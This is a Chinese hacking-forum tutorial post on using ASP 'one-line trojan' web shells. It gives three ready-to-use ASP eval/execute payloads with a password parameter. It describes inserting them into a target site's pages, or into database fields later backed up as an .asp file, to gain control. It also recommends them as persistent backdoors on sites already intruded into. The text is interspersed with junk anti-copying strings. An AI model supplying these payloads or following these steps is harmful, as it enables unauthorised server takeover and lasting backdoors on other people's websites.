返回列表 发帖

[原创教程] 一句话木马的使用方法视频

一句话木马的使用  
0 u* j9 K1 S1 ?" ?4 h
) X0 ^" g7 E2 @& Y2 nby:柔肠寸断 790653916  www.3ast.com.cn  不免费收点徒弟~~~
: f( a2 x8 P5 k  p- H
7 \, W) I: G/ @4 J, P8 m, `% x  O" t/ \6 Q; m3 ?
1、咱们先弄懂怎么使用的。; S' D9 @6 x" q
# r, N3 k* V) P1 s/ u
分为客户端和服务端
$ h( O' u; H/ p& J% G5 @0 F3 K! B! s( y' b& i( m3 M6 s
9 M2 @& i% d6 I
客户端是连接上去的程序,也可以是网页' i. ]5 h* `3 D7 }4 [5 W
$ L6 M. H7 c% K' }
http://www.3ast.com.cn/tool/yijuhua.html' ^0 y9 L2 }) a0 z

9 Z3 F4 y) s8 J6 T7 y: E: w, q& m3 P服务端就是一段代码,代码里有对应的“密码”
8 @' \# _/ p( a
6 w9 r- |% r' N  t提供三个服务端: - |! B7 i: l. J6 U: v: \0 K* @
1. <%eval request("cnnsc")%> 0 u1 x/ D) I$ w- t4 a
2. <%execute request("cnnsc")%> : h7 b; t3 J/ \! d
3. <%execute(request("cnnsc"))%>
2 x/ P2 y5 Q' X" ?7 B9 U; Y
. Q  a5 m% g! ?cnnsc--密码
9 D! |/ p: z$ G2 K7 w4 A2 s4 ^. E0 S7 j
我们只要把这个代码插入到对方网站的网页中就可以了
0 b  h2 M! w5 f0 u( U3 H6 T
, n; E& u5 N1 H我演示下,用已经有的一个webshell添加一个asp文件,加上 <%eval request("cnnsc")%>
; ^+ x3 `$ p6 U4 x$ z1 F- ~9 S7 j) c( x, M9 G! B8 B
换一个页面,添加过了。访问的时候一切正常,看链接
; X1 O+ Z5 ~: B
! H, g- s! J3 A上传之后
" y% a) L. U7 `. p* f9 s
# G1 e" x- j- \链接上去了  F+ b  P. j% e) I5 j2 m
OK.这个就是链接的主要过程& H2 d4 z7 F, j' S; ^! a

! `9 ^' W2 k. v+ A  f: j
: }: T, a6 N- b1 r! R& a3 H) @. I% @% q, n
: B* H/ a) n' {  ?
2、然后懂得哪里会用上、怎么用
& a) `( U$ B& v# R9 a1 B- A6 S7 z# f+ |6 k
(1)有的时候我们进入了XXX的后台,后台有备份数据库,那么我们就可以在系统中插入这个一句话代码,任意地方,比如皮肤名称啊,文章标题啊,只要是会被写进数据库的就可以了,然后备份数据库成一个asp文件(也有php的一句话),然后链接就可以拿下来了9 y' L' N5 U1 T

7 v( ]  W7 z- w/ t3 k3 p(2)可以给自己入侵的网站留下后门。。。。! m+ k4 s0 J6 L/ W" j9 h2 z

& m8 Q7 Q2 ]  R. }/ R, |+ \- y# B(3)我再想想。。。哎,想不出,还是要自己多多实践。。。。
( y3 u( O# q7 [" G$ H0 [* X  e2 h3 h& a2 \, F- w7 @9 \
好了,教程到此结束,不懂的可以再来问我。。。790653916
附件: 您需要登录才可以下载或查看附件。没有帐号?注册
1

评分人数

  • huar

返回列表